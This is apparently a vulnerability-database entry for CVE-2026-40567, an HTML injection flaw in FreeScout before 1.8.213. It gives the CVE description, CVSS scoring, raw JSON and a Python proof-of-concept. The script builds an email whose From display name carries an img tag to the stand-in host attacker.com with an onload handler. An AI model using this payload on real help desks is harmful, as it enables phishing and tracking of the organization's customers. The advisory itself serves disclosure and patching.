Security Vulnerability Report
中文
CVE-2026-40567 CVSS 5.8 MEDIUM

CVE-2026-40567

Published: 2026-04-21 17:16:55
Last Modified: 2026-04-22 21:10:14

Description

FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, an unauthenticated attacker can inject arbitrary HTML into outgoing emails generated by FreeScout by sending an email with a crafted From display name. The name is stored in the database without sanitization and rendered unescaped into outgoing reply emails via the `{%customer.fullName%}` signature variable. This allows embedding phishing links, tracking pixels, and spoofed content inside legitimate support emails sent from the organization's address. Version 1.8.213 fixes the issue.

CVSS Details

CVSS Score
5.8
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

FreeScout < 1.8.213

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import smtplib from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart def send_poc_email(): # Configuration for the target FreeScout email target_email = "[email protected]" sender_email = "[email protected]" # Malicious 'From' display name containing HTML injection payload # This payload attempts to inject a tracking pixel or phishing link malicious_display_name = 'Test User <img src="http://attacker.com/track.png" onload="alert(1)">' # Create the email message msg = MIMEMultipart() msg['From'] = malicious_display_name msg['To'] = target_email msg['Subject'] = "Help needed: HTML Injection Test" body = "Hello, I have a question regarding your service." msg.attach(MIMEText(body, 'plain')) # Send the email try: # Note: Replace with actual SMTP server details for testing # server = smtplib.SMTP('smtp.example.com', 587) # server.starttls() # server.login(sender_email, "password") # server.send_message(msg) # server.quit() print(f"[+] Payload prepared: {malicious_display_name}") print("[+] If successful, the HTML will be rendered in FreeScout replies.") except Exception as e: print(f"[-] Error sending email: {e}") if __name__ == "__main__": send_poc_email()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40567", "sourceIdentifier": "[email protected]", "published": "2026-04-21T17:16:55.153", "lastModified": "2026-04-22T21:10:14.290", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "FreeScout is a free self-hosted help desk and shared mailbox. Prior to version 1.8.213, an unauthenticated attacker can inject arbitrary HTML into outgoing emails generated by FreeScout by sending an email with a crafted From display name. The name is stored in the database without sanitization and rendered unescaped into outgoing reply emails via the `{%customer.fullName%}` signature variable. This allows embedding phishing links, tracking pixels, and spoofed content inside legitimate support emails sent from the organization's address. Version 1.8.213 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-116"}]}], "references": [{"url": "https://github.com/freescout-help-desk/freescout/commit/9131b16f80eade81002cb9809a2603f6b61981cf", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/releases/tag/1.8.213", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q8v4-v62h-5528", "source": "[email protected]"}, {"url": "https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-q8v4-v62h-5528", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}